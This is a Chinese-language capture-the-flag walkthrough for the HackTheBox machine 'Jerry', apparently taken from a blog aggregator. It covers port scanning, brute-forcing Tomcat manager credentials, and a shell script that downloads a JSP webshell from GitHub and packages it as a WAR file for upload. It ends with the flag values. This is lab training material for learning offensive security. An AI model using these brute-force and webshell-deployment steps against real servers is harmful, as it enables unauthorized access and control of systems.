当前位置: 首页 > news >正文

[Meachines] [Easy] jerry Tomcat用户暴力破解+war包webshell上传

信息收集

IP AddressOpening Ports
10.10.10.95TCP:8080

$ sudo masscan -p1-65535 10.10.10.95 --rate=1000 -e tun0 > /tmp/ports

$ ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')

$ nmap -p$ports 10.10.10.95 --min-rate 1000 -sC -sV -Pn

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 150.89 seconds

Tomcat

https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py

爆破tomcat密码

$ python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95

image.png

s3cret

image-2.png

创建 WAR 包

# gen_war.sh
#!/bin/sh 
wget https://raw.githubusercontent.com/tennc/webshell/master/jsp/jspbrowser/Browser.jsp -O index.jsp 
rm -rf wshell 
rm -f wshell.war 
mkdir wshell 
cp index.jsp wshell/ 
cd wshell 
jar -cvf ../wshell.war * 

$ chmod +x gen_war.sh

$ ./gen_war.sh

image-5.png

image-4.png

image-6.png

可以直接通过这个目录找到两个Flag

http://10.10.10.95:8080/wshell/?sort=1&file=C%3A%5CUsers%5CAdministrator%5CDesktop%5Cflags%5C2+for+the+price+of+1.txt

image-7.png

User.txt

7004dbcef0f854e0fb401875f26ebd00

Root.txt

04a8b36e1545a455393d067e772fe90e


http://www.mrgr.cn/news/12553.html

相关文章:

  • 腾讯地图接入报错vue.runtime.esm.js:4605[Vue warn]: Error in v-on handler: “far <= 0“
  • 基于单片机的无线空气质量检测系统设计
  • SQL Server 查询语句中,对索引列做CONVERT的影响
  • STM32自制手持小风扇实验
  • HTTP/1和HTTP/2
  • 【C++】异常 详解
  • 解决ONENOTE复制文字到外部为图片(Ditto)
  • PyTorch构建神经网络
  • leetcode94:二叉树的中序遍历
  • 【pytorch深度学习——小样本学习策略】网格搜索和遗传算法混合优化支持向量机的小样本学习策略进行预测
  • Python的变量、关键字、命名规则、基本数据类型及类型转换
  • [每日一练]从表中创建DataFrame
  • PHP MySQL 插入多条数据
  • 【Google Maps JavaScript API】Right-to-Left Languages 实现指南
  • 10款免费电脑录屏软件盘点,2024年最新录屏工具排行榜
  • 23种设计模式详解-创建模式篇
  • 功能测试理论
  • Linux小项目 迷你服务端实现在线商城
  • LeetCode49. 字母异位词分组(2024秋季每日一题 4)
  • STM32学习记录-05 -1-TIM定时中断